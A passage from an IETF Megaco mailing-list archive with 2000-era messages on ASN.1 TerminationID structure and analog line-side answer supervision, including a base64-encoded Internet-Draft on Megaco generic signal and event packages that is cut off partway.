> " ........The TerminationIDs may be chosen to have structure.  For
>    instance, a TerminationID may consist of trunk group and a trunk
>    within the group."
>
> If  a MG has one TDM termination (w.r.t ABNF) the above
> statement can be achieved.as follows:
> T1/2 , T1/2 etc.
>
> How is the same achieved in ASN1 ?
>
>
> Thanks in advance
> -sanjeev
>

------_=_NextPart_001_01C018D9.4234F2B0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: TerminationID in ASN1</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Reserve ranges of the high-order portion of the =
terminationId to designate the termination type and group, and use the =
remaining bits to designate the individual termination.</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: SSM [<A =
HREF=3D"mailto:ssm@CHIPLOGIC.COM">mailto:ssm@CHIPLOGIC.COM</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Thursday, September 07, 2000 9:03 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: TerminationID in ASN1</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; With reference to text in section 6.2.2</FONT>
<BR><FONT SIZE=3D2>&gt; &quot; ........The TerminationIDs may be chosen =
to have structure.&nbsp; For</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; instance, a TerminationID may =
consist of trunk group and a trunk</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; within the =
group.&quot;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If&nbsp; a MG has one TDM termination (w.r.t =
ABNF) the above</FONT>
<BR><FONT SIZE=3D2>&gt; statement can be achieved.as follows:</FONT>
<BR><FONT SIZE=3D2>&gt; T1/2 , T1/2 etc.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; How is the same achieved in ASN1 ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Thanks in advance</FONT>
<BR><FONT SIZE=3D2>&gt; -sanjeev</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C018D9.4234F2B0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 12:28:38 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20078
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 12:28:32 -0400 (EDT)
Received: from standards (47.234.32.16:2186) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91397@standards.nortelnetworks.com>; Thu, 7 Sep 2000 12:12:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22797 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 12:12:48 -0400
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91396@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          12:12:47 -0400
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id MAA28669
          for <MEGACO@standards.nortelnetworks.com>; Thu, 7 Sep 2000 12:25:53
          -0400 (EDT)
Received: from ihgp2.ih.lucent.com (h135-1-53-26.lucent.com [135.1.53.26]) by
          auemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id MAA28648
          for <MEGACO@standards.nortelnetworks.com>; Thu, 7 Sep 2000 12:25:53
          -0400 (EDT)
Received: by ihgp2.ih.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id LAA21506; Thu, 7
          Sep 2000 11:25:52 -0500 (CDT)
Received: from il0015varney2.lucent.com by ihgp2.ih.lucent.com
          (8.8.8+Sun/EMS-1.5 sol2) id LAA21487; Thu, 7 Sep 2000 11:25:46 -0500
          (CDT)
X-Sender: varney@ihgp2.ih.lucent.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=====================_10616742==_"
Message-ID:  <4.3.2.7.2.20000907102705.00b9c9a0@ihgp2.ih.lucent.com>
Date:         Thu, 7 Sep 2000 11:25:41 -0500
Reply-To: Al Varney <varney@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Al Varney <varney@LUCENT.COM>
Subject:      Re: line-side answer supervision
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <39AC36AF.6312C45C@usa.alcatel.com>

--=====================_10616742==_
Content-Type: text/plain; charset="us-ascii"

At 17:18 08/29/2000 -0500, Mario Monteiro wrote:
>For analog circuits, answer indication in some cases needs to be
>returned towards the originating side for billing purposes.
>
>Question: Once answer is detected at the terminating side, how is this
>answer event communicated to the originating side so that the
>originating AGW may apply line-side answer supervision? That is, what
>type of Megaco signal is sent by the Softswitch to the originating AGW?


As Tom pointed out, there is no package defining such things for analog lines.  I recall seeing a proposal for Digital Loop Carrier Gateway (TR-303) control, which would support the needed capabilities, using the ABCD codes such as RLCF (reverse loop current feed).

Anyway, a package extending the Analog Line support is needed to control all aspects of the DC interface to the analog line for both loop-start and ground-start signaling, including:
 - reverse loop battery [a common means of providing line-side answer superv.]
 - normal loop battery (unless the above is a toggle -- yuck)
 - loop open (no current feed, battery remains)
 - loop closed
 - short open (This is a common indication to called parties, also known as CPC, that the caller has disconnected.  If "loop open" is a signal, rather than a line state, then you could just use a short timer with "loop open" to do this, and assume "loop closed" is the default condition.)

Note that reverse loop battery is also used as a "toll-diversion" indicator on analog lines and on some analog (reverse-battery) trunks.  So the package might also apply to analog trunks??  It's unfortunate that
    draft-brown-supplpkgs-00
specified only Robbed-bit-signaled trunks, since "seize" and "unseize" could be considered useful signals for any in-band-signaling trunk.  (Note that "supplpkgs" also considers these "brief" signals -- probably a typo).

I'm not sure if/how these would be extended to emulated analog lines (derived voice via DSL/cable, IP phones, or digital phones on a PBX) as described in
    draft-ietf-megaco-basicpkg-00.





--=====================_10616742==_
Content-Type: text/plain; name="draft-ietf-megaco-basicpkg-00.txt";
 x-mac-type="42494E41"; x-mac-creator="74747874"
Content-Disposition: attachment; filename="draft-ietf-megaco-basicpkg-00.txt"
Content-Transfer-Encoding: base64

DQpJbnRlcm5ldCBFbmdpbmVlcmluZyBUYXNrIEZvcmNlICAgICAgICAgICAgICAgICAgICAgTWlr
ZSBLYWxsYXMoRWRpdG9yKQ0KSW50ZXJuZXQgRHJhZnQgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBOb3J0ZWwgTmV0d29ya3MNCkRvY3VtZW50OiBkcmFmdC1pZXRmLW1l
Z2Fjby1iYXNpY3BrZy0wMC50eHQgICBaYWNoYXJpYXMgQmlsYWxpcyhlZGl0b3IpDQpEYXRlOiBT
ZXB0ZW1iZXIgMjkgMTk5OSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
U2llbWVucw0KRXhwaXJlczogTWFyY2ggMjkgMjAwMA0KDQpDb250cmlidXRpb25zIGJ5Og0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtsYXVzIEhvZmZt
YW5uIFNpZW1lbnMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBLbGF1cyBQdWx2ZXJlciBTaWVtZW5zDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIFBldGVyIEJsYXRoZXJ3aWNrIE5vcnRlbA0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJvYiBCZWxsIENpc2NvIFN5c3Rl
bXMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1h
cmtrdSBLb3JwaSBTaWVtZW5zDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBUb20gVGF5bG9yIE5vcnRlbCBOZXR3b3Jrcw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJpY2hhcmQgQmFjaCBOb3J0ZWwNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaHJpc3RpYW4gUnVwcGVs
dCBTaWVtZW5zDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJp
YyBQYWNrYWdlcw0KDQoNClN0YXR1cyBvZiB0aGlzIE1lbW8NCg0KICAgVGhpcyBkb2N1bWVudCBp
cyBhbiBJbnRlcm5ldC1EcmFmdCBhbmQgaXMgaW4gZnVsbCBjb25mb3JtYW5jZSB3aXRoDQogICBh
bGxwcm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNi4NCg0KICAgSW50ZXJuZXQtRHJh
ZnRzIGFyZSB3b3JraW5nIGRvY3VtZW50cyBvZiB0aGUgSW50ZXJuZXQgRW5naW5lZXJpbmcNCiAg
IFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsIGFuZCBpdHMgd29ya2luZyBncm91cHMuICBO
b3RlIHRoYXQNCiAgIG90aGVyIGdyb3VwcyBtYXkgYWxzbyBkaXN0cmlidXRlIHdvcmtpbmcgZG9j
dW1lbnRzIGFzIEludGVybmV0LQ0KICAgRHJhZnRzLg0KDQogICBJbnRlcm5ldC1EcmFmdHMgYXJl
IGRyYWZ0IGRvY3VtZW50cyB2YWxpZCBmb3IgYSBtYXhpbXVtIG9mIHNpeA0KICAgbW9udGhzIGFu
ZCBtYXkgYmUgdXBkYXRlZCwgcmVwbGFjZWQsIG9yIG9ic29sZXRlZCBieSBvdGhlciBkb2N1bWVu
dHMNCiAgIGF0IGFueSB0aW1lLiAgSXQgaXMgaW5hcHByb3ByaWF0ZSB0byB1c2UgSW50ZXJuZXQt
IERyYWZ0cyBhcw0KICAgcmVmZXJlbmNlIG1hdGVyaWFsIG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0
aGFuIGFzICJ3b3JrIGluIHByb2dyZXNzLiINCg0KICAgVGhlIGxpc3Qgb2YgY3VycmVudCBJbnRl
cm5ldC1EcmFmdHMgY2FuIGJlIGFjY2Vzc2VkIGF0DQogICBodHRwOi8vd3d3LmlldGYub3JnL2ll
dGYvMWlkLWFic3RyYWN0cy50eHQNCg0KICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQtRHJhZnQgU2hh
ZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgaHR0cDovL3d3dy5pZXRmLm9y
Zy9zaGFkb3cuaHRtbC4NCg0KDQoxLiBBYnN0cmFjdA0KDQogICBUaGlzIGRvY3VtZW50IGlzIGEg
cHJvcG9zYWwgdG8gYWRkIG5ldyBldmVudC9zaWduYWwgcGFja2FnZXMgdG8gdGhlDQogICBNZWdh
Y28gcHJvdG9jb2wgdG8gY29udHJvbCBsaW5lIHNpZGUgZ2F0ZXdheXMgY29ubmVjdGVkIHRvIGEg
dmFyaWV0eQ0KICAgb2YgYnVzaW5lc3MgYW5kIGhvbmUgdGVsZXBob25lcy4gQW5kIHRydW5rIHNp
ZGUgZ2F0ZXdheXMgY29ubmVjdGVkDQogICB0byB0aGUgUFNUTi4NCg0KICAgTk9URTogVGhpcyBk
b2N1bWVudCBpcyBhIHdvcmsgaW4gcHJvZ3Jlc3MsIGtub3duIHRvIGJlIGluY29tcGxldGUgaW4N
CgwNCkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2Vz
ICAgICAgICBQYWdlIDINCg0KICAgc29tZSBhcmVhcywgYW5kIGxlYXZlcyBzZXZlcmFsIGlzc3Vl
cyB1bnJlc29sdmVkLg0KDQoNCjIuIEludHJvZHVjdGlvbg0KDQoNCiAgIFRoZSBmaXJzdCBzZXQg
b2YgcGFja2FnZXMgKHNlY3Rpb24gMy4xIHRvIDMuNykgYWRkcmVzc2VzIHRoZQ0KICAgcmVxdWly
ZW1lbnRzIG9mIGxpbmUgc2lkZSBnYXRld2F5cy4gVGhlc2UgcGFja2FnZXMgY29tYmluZSBzaWdu
YWxzDQogICBhbmQgZXZlbnRzIHRoYXQgYXBwbHkgdG8gbXVsdGlwbGUgdHlwZXMgb2YgZ2F0ZXdh
eXMgY29ubmVjdGVkIHRvDQogICBsaW5lIHNpZGUgZGV2aWNlcy4gVGhlIGxpbmUgc2lkZSBkZXZp
Y2VzDQogICB0byBiZSBzdXBwb3J0ZWQgYXJlOg0KDQogICAgICAgIEFuYWxvZyBQaG9uZSAoVG9u
ZSBhbmQgUHVsc2UpKEJsYWNrIFBob25lKQ0KICAgICAgICBIaWdoIEVuZCBIb21lIFBob25lDQog
ICAgICAgIEFsdGVybmF0aXZlIGFjY2VzcyBwaG9uZSAoY2FibGUgbW9kZW0sIEFEU0wsIEZpeGVk
IFdpcmVsZXNzKQ0KICAgICAgICBBRFNJIFBob25lDQogICAgICAgIEFuYWxvZyBCdXNpbmVzcyBQ
aG9uZQ0KICAgICAgICBEaWdpdGFsIEJ1c2luZXNzIFBob25lDQogICAgICAgIElQIEJ1c2luZXNz
IFBob25lDQoNCiAgIFRoZSBzZWNvbmQgc2V0IG9mIHBhY2thZ2VzIChzZWN0aW9ucyAzLjggdG8g
My4xMikgYWRkcmVzc2VzIHRoZQ0KICAgcmVxdWlyZW1lbnRzIG9mIHRydW5rIHNpZGUgZ2F0ZXdh
eXMuIFRoZXNlIGdhdGV3YXlzIGNvbm5lY3QgdGhlIElQDQogICB3b3JsZCB0byB0aGUgUFNUTiB0
aHJvdWdoIHRydW5rIGxpbmVzLg0KDQogICAyLjEgQXNzdW1wdGlvbnM6DQoNCiAgIEVwaGVtZXJh
bCB0ZXJtaW5hdGlvbnMgYXJlIHNlbGVjdGVkIGJ5IE1HLCBgc3RhdGljJyB0ZXJtaW5hdGlvbnMg
YXJlDQogICBzZWxlY3RlZCBieSB0aGUgTUdDLg0KICAgSW4gY2FzZSB0aGF0IHRoZSBkaWFsZWQg
bnVtYmVyIGlzIHVuYWxsb2NhdGVkLCB0aGUgcmVzcGVjdGl2ZSAibm8NCiAgIGNpcmN1aXQgdG9u
ZSIgaXMgbmF0aW9uYWwgc3BlY2lmaWVkLg0KICAgMy4gQWRkaXRpb24vTW9kaWZpY2F0aW9uICBv
ZiB0aGUgZm9sbG93aW5nIHRvIGNoYXB0ZXIgYDcuMy4yLjkgTG9jYWwNCiAgIERlc2NyaXB0b3In
IG9mIEguMjQ4Og0KICAgVGhlIE1vZGUgcGFyYW1ldGVyIGluZGljYXRlcyB0aGUgcmVsYXRpb24g
YmV0d2VlbiB0aGUgVGVybWluYXRpb24NCiAgIGFuZCB0aGUgInN0YXIiIGNvbm5lY3Rpb24gb2Yg
dGhlIENvbnRleHQuIFRoZSBhbGxvd2VkIHZhbHVlcyBhcmUNCiAgICJzZW5kIG9ubHkiIChzZW5k
b25seSksICJyZWNlaXZlIG9ubHkiIChyZWN2b25seSksICJzZW5kL3JlY2VpdmUiDQogICAoc2Vu
ZHJlY3YpLCAiaW5hY3RpdmUiIChpbmFjdGl2ZSksICAib3V0b2ZzZXJ2aWNlIiAsICJsb29wYmFj
ayIgKGFzDQogICBnaXZlbiBpbiBJVFUtVCBSZWNvbW1lbmRhdGlvbiBRLjcyNCBmb3IgdGhlIGNv
bnRpbnVpdHkgY2hlY2sNCiAgIHByb2NlZHVyZSwgd2hlcmUgdGhlIGNoZWNrIGxvb3AgaXMgY29u
bmVjdGVkIHRvIHRoZSBnbyBhbmQgcmV0dXJuDQogICBwYXRoKSBhbmQgInRlc3QiICh0ZXN0KS4g
ICJTZW5kIiBhbmQgIlJlY2VpdmUiIGFyZSB3aXRoIHJlc3BlY3QgdG8NCiAgIHRoZSBUZXJtaW5h
dGlvbiwgc28gdGhhdCwgZm9yIGV4YW1wbGUsIGEgc3RyZWFtIHNldCB0byBtb2RlPXNlbmRvbmx5
DQogICBjYW4gdGFsayBidXQgaXQgY2Fubm90IGxpc3Rlbi4NCg0KDQogICAyLjIgQWJicmV2aWF0
aW9ucw0KDQogICBBQUEgICAgICAgICAgQXV0aGVudGljYXRpb24gQXV0aG9yaXphdGlvbiBhbmQg
QWNjb3VudGluZw0KICAgQ0FTICAgICAgICAgIENoYW5uZWwgQXNzb2NpYXRlZCBTaWduYWxsaW5n
DQogICBJU1VQICAgICAgICAgSVNETiBVc2VyIFBhcnQNCiAgIEwyVFAgICAgICAgICBMYXllciAy
IFR1bm5lbGxpbmcgUHJvdG9jb2wNCiAgIE5BUyAgICAgICAgICBOZXR3b3JrIEFjY2VzcyBTZXJ2
ZXINCgwNCkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2th
Z2VzICAgICAgICBQYWdlIDMNCg0KICAgUFBQICAgICAgICAgIFBvaW50IHRvIFBvaW50IFByb3Rv
Y29sDQogICBSQURJVVMgICAgICAgUmVtb3RlIEF1dGhlbnRpY2F0aW9uIERpYWwgVXNlciBTZXJ2
aWNlDQogICBSVFAgICAgICAgICAgUmVhbHRpbWUgVHJhbnNwb3J0IFByb3RvY29sDQogICBUVVAg
ICAgICAgICAgVGVsZXBob25lIFVzZXIgUGFydA0KDQoNCiAgIDIuMyBEZWZpbml0aW9uczoNCg0K
ICAgU3RyaW5nOiAgICAgICAgICAgICAgTnVsbCB0ZXJtaW5hdGVkLCA4LWJpdCBVbmljb2RlIFVU
Ri04IHN0cmluZw0KICAgSW50ZWdlcjogICAgICAgICAgICAgNCBieXRlIHNpZ25lZCBpbnRlZ2Vy
DQogICBDaGFyYWN0ZXI6ICAgICAgICAgICBVbmljb2RlIFVURi04IGVuY29kaW5nIG9mIGEgc2lu
Z2xlIGxldHRlcg0KICAgKGNvdWxkIGJlIG1vcmUgdGhhbiAxIG9jdGV0KQ0KDQoNCg0KMy4gU2ln
bmFsIGFuZCBFdmVudCBwYWNrYWdlcw0KDQogICAzLjEgR2VuZXJpYyBhdWRpbyBQYWNrYWdlDQoN
CiAgIFNob3J0IG5hbWU6IGdhdWRpbw0KDQogICBUaGlzIHBhY2thZ2UgaXMgdXNlZCB0byBkZXRl
Y3QgYW5kIGFwcGx5IGF1ZGlvIHRvbmVzLg0KDQogICAzLjEuMSAgUHJvcGVydGllcyBBdWRpdCBJ
bmZvcm1hdGlvbg0KDQogICAzLjEuMS4xIEdhdGV3YXkgQXVkaXQgSW5mb3JtYXRpb24NCg0KICAg
VGhlIGZvbGxvd2luZyBpcyByZXR1cm5lZCBhcyBhIHJlc3VsdCBvZiBBdWRpdCBjb21tYW5kIGF0
IHRoZSByb290DQogICBNRzoNCg0KICAgMy4xLjEuMS4xIGxpc3RvZnRvbmVzDQoNCiAgIFNob3J0
IG5hbWUgdGxpc3QNCg0KICAgU3RyaW5nIG9mIHRvbmVpZHMgd2hvc2UgZGVmaW5pdGlvbiBpcyBh
dmFpbGFibGUgb24gdGhlIE1HLCBzZXBhcmF0ZWQNCiAgIGJ5IGAvJy4gRGVmYXVsdCB0b25laWRz
IGNvdWxkIGJlIG1vZGlmaWVkIHVzaW5nIHRoZSBkZWZ0b25lIHNpZ25hbC4NCiAgIE5ldyB0b25l
cyBjb3VsZCBhbHNvIGJlIGRlZmluZWQgdXNpbmcgZGVmdG9uZS4NCg0KICAgRXhhbXBsZTogIm10
L2ZkL2x0Ig0KDQogICBUb25laWRzIGFyZSBkZXNjcmliZWQgbGF0ZXINCg0KICAgMy4xLjEuMiBU
ZXJtaW5hdGlvbiBBdWRpdCBJbmZvcm1hdGlvbg0KDQogICBUaGUgZm9sbG93aW5nIGlzIHJldHVy
bmVkIGFzIGEgcmVzdWx0IG9mIEF1ZGl0IGNvbW1hbmQgYXQgYQ0KICAgcGFydGljdWxhciBwaHlz
aWNhbCBkZXZpY2UgdGVybWluYXRpb24uDQoNCiAgIE5vbmUNCg0KICAgRXZlbnRzDQoMDQpLYWxs
YXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAg
UGFnZSA0DQoNCg0KICAgMy4xLjIuMSBFdmVudCBDb25maWd1cmF0aW9uDQoNCiAgIDMuMS4yLjEu
MSBUb25lU3RhcnREZXRlY3RlZA0KDQogICBTaG9ydCBuYW1lIHRvbmVzdGR0DQoNCiAgIENvbmZp
Z3VyYXRpb24gUGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIGlkIG9mIGF1ZGlvIHN0cmVh
bSB0byBkZXRlY3QgdG9uZXMgb24uDQoNCiAgIFJldHVybiB2YWx1ZTogICAgICAgIGludGVnZXIg
ICAgICAgICAwIFN1Y2Nlc3MNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAxIHN0cmVhbWlkIG5vdCByZWNvZ25pemVkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgOTkgdW5kZXRlcm1pbmVkIGVycm9yDQoNCiAgIDMuMS4yLjEuMiBUb25lRW5k
RGV0ZWN0ZWQNCg0KICAgU2hvcnQgbmFtZSB0b25lZW5kZHQNCg0KICAgQ29uZmlndXJhdGlvbiBQ
YXJhbWV0ZXJzOg0KDQogICBzdHJlYW1pZCAgICAgaWQgb2YgYXVkaW8gc3RyZWFtIHRvIGRldGVj
dCB0b25lcyBvbi4NCg0KICAgUmV0dXJuIHZhbHVlOiAgICAgICAgaW50ZWdlciAgICAgICAgIDAg
U3VjY2Vzcw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEgc3RyZWFt
aWQgbm90IHJlY29nbml6ZWQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICA5OSB1bmRldGVybWluZWQgZXJyb3INCg0KDQogICAzLjEuMi4xLjMgTG9uZ1RvbmVEZXRlY3Rl
ZA0KDQogICBTaG9ydCBuYW1lIGxndG9uZWR0DQoNCiAgIENvbmZpZ3VyYXRpb24gUGFyYW1ldGVy
czoNCg0KICAgc3RyZWFtaWQgICAgIGlkIG9mIGF1ZGlvIHN0cmVhbSB0byBkZXRlY3QgdG9uZXMg
b24uDQogICBsb25nZHVyYXRpb24gdmFsdWUgb2YgbG9uZyBkdXJhdGlvbiB0byB0ZXN0IGFnYWlu
c3QgaW4gbXMuDQoNCiAgIFJldHVybiB2YWx1ZTogICAgICAgIGludGVnZXIgICAgICAgICAwIFN1
Y2Nlc3MNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxIHN0cmVhbWlk
IG5vdCByZWNvZ25pemVkDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
OTkgdW5kZXRlcm1pbmVkIGVycm9yDQoNCiAgIDMuMS4yLjIgT2JzZXJ2ZWQgZXZlbnRzDQoNCiAg
IDMuMS4yLjIuMSBUb25lU3RhcnREZXRlY3RlZA0KDQogICBTaG9ydCBuYW1lIHRvbmVzdGR0DQoN
CiAgIEV2ZW50IFBhcmFtZXRlcnM6DQoNCiAgIHRvbmVJZCAgICAgICBTaG9ydCBzdHJpbmcNCgwN
CkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAg
ICAgICBQYWdlIDUNCg0KICAgbmFtZVN0ciAgICAgIHRoZSBuYW1lIG9mIHRoZSB0b25lIGluIHRl
eHQNCg0KICAgMy4xLjIuMi4yIFRvbmVFbmREZXRlY3RlZA0KDQogICBTaG9ydCBuYW1lIHRvbmVl
bmRkdA0KDQogICBFdmVudCBQYXJhbWV0ZXJzOg0KDQogICB0b25lSWQgICAgICAgU2hvcnQgc3Ry
aW5nDQogICBuYW1lU3RyICAgICAgdGhlIG5hbWUgb2YgdGhlIHRvbmUgaW4gdGV4dA0KICAgZHVy
YXRpb24gICAgIGlzIGluIG1pbGxpc2Vjb25kcyBhbmQgaXMgdGhlIGR1cmF0aW9uIG9mIHRoZSBj
b250aW51YWwNCiAgIGRldGVjdGlvbiBvZiB0aGUgdG9uZS4NCg0KDQoNCiAgIDMuMS4yLjIuMyBM
b25nVG9uZURldGVjdGVkDQoNCiAgIFNob3J0IG5hbWUgbGd0b25lZHQNCg0KICAgVGhpcyBldmVu
dCBpcyByZXBvcnRlZCBpZiBhIHRvbmUgaXMgY29udGludW91c2x5IHByZXNlbnQgZm9yDQogICAi
bG9uZ2R1cmF0aW9uIiBzcGVjaWZpZWQgaW4gdGhlIGNvbmZpZ3VyZSBwYXJhbWV0ZXJzIGFib3Zl
Lg0KDQogICBFdmVudCBQYXJhbWV0ZXJzOg0KDQogICB0b25lSWQgICAgICAgU2hvcnQgc3RyaW5n
DQogICBuYW1lU3RyICAgICAgdGhlIG5hbWUgb2YgdGhlIHRvbmUgaW4gdGV4dA0KDQoNCg0KICAg
RGV0ZWN0YWJsZSBUb25lSWRzOg0KDQogICAgICBtdCAgICAgLSBNb2RlbSBkZXRlY3RlZA0KICAg
ICAgZnQgICAgIC0gRmF4IHRvbmUgZGV0ZWN0ZWQNCiAgICAgIGxkICAgICAtIExvbmcgZHVyYXRp
b24gY29ubmVjdGlvbg0KICAgICAgcGF0KCMjIyktIFBhdHRlcm4gIyMjIGRldGVjdGVkICMjIyBp
cyBiZXR3ZWVuIDAwMCBhbmQgOTk5DQogICAgICBydCAgICAgLSBSaW5nYmFjayB0b25lDQogICAg
ICByYmsoIyMjKS0gUmluZyBiYWNrIG9uIGNvbm5lY3Rpb24gPz8/DQogICAgICBjZiAgICAgLSBD
b25maXJtIHRvbmUNCiAgICAgIGNnICAgICAtIE5ldHdvcmsgQ29uZ2VzdGlvbiB0b25lDQogICAg
ICBpdCAgICAgLSBJbnRlcmNlcHQgdG9uZQ0KICAgICAgcHQgICAgIC0gUHJlZW1wdGlvbiB0b25l
DQogICAgICBvZiAgICAgLSByZXBvcnQgZmFpbHVyZQ0KICAgICAgZHRtZjANCiAgICAgIGR0bWYx
DQogICAgICBkdG1mMg0KICAgICAgZHRtZjMNCiAgICAgIGR0bWY0DQogICAgICBkdG1mNQ0KICAg
ICAgZHRtZjYNCiAgICAgIGR0bWY3DQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28v
SC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSA2DQoNCiAgICAgIGR0bWY4DQogICAg
ICBkdG1mOQ0KICAgICAgZHRtZioNCiAgICAgIGR0bWYjDQogICAgICBkdG1mQQ0KICAgICAgZHRt
ZkINCiAgICAgIGR0bWZDDQogICAgICBkdG1mRA0KDQoNCiAgIDMuMS4zICBTaWduYWxzDQoNCiAg
IDMuMS4zLjEgUGxheVRvbmUNCg0KICAgc2hvcnQgbmFtZSBwbGF5dG9uZQ0KDQogICBTaWduYWwg
UGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIGlkIG9mIGF1ZGlvIHN0cmVhbSB0byBwbGF5
IHRvbmVzIG9uLg0KICAgdG9uZWlkICAgICAgIFRvbmUgdG8gYmUgcGxheWVkDQogICBzaWduYWx0
eXBlICAgUG9zc2libGUgdmFsdWVzOg0KICAgICAgICAgICAgICAgICJCUiIgYnJpZWYgZHVyYXRp
b24gKHByb3Zpc2lvbmVkIC8gaW1wbGllZCkNCiAgICAgICAgICAgICAgICAiT04iIFBsYXkgdW50
aWwgaW5zdHJ1Y3RlZCB0byBzdG9wDQogICAgICAgICAgICAgICAgIlRPIiBQbGF5IHVudGlsIHRp
bWVkIG91dA0KICAgZHVyYXRpb24gICAgIHRpbWVvdXQgZHVyYXRpb24gaW4gbXMNCg0KICAgUmV0
dXJuIHZhbHVlOiAgICAgICAgaW50ZWdlciAgICAgICAgIDAgU3VjY2Vzcw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEgc3RyZWFtaWQgbm90IHJlY29nbml6ZWQNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyIHRvbmVpZCBub3QgcmVjb2du
aXplZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDMgc2lnbmFsdHlw
ZSBlcnJvcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDk5IHVuZGV0
ZXJtaW5lZCBlcnJvcg0KDQoNCiAgIDMuMS4zLjIgU3RvcFRvbmUNCg0KICAgc2hvcnQgbmFtZSBz
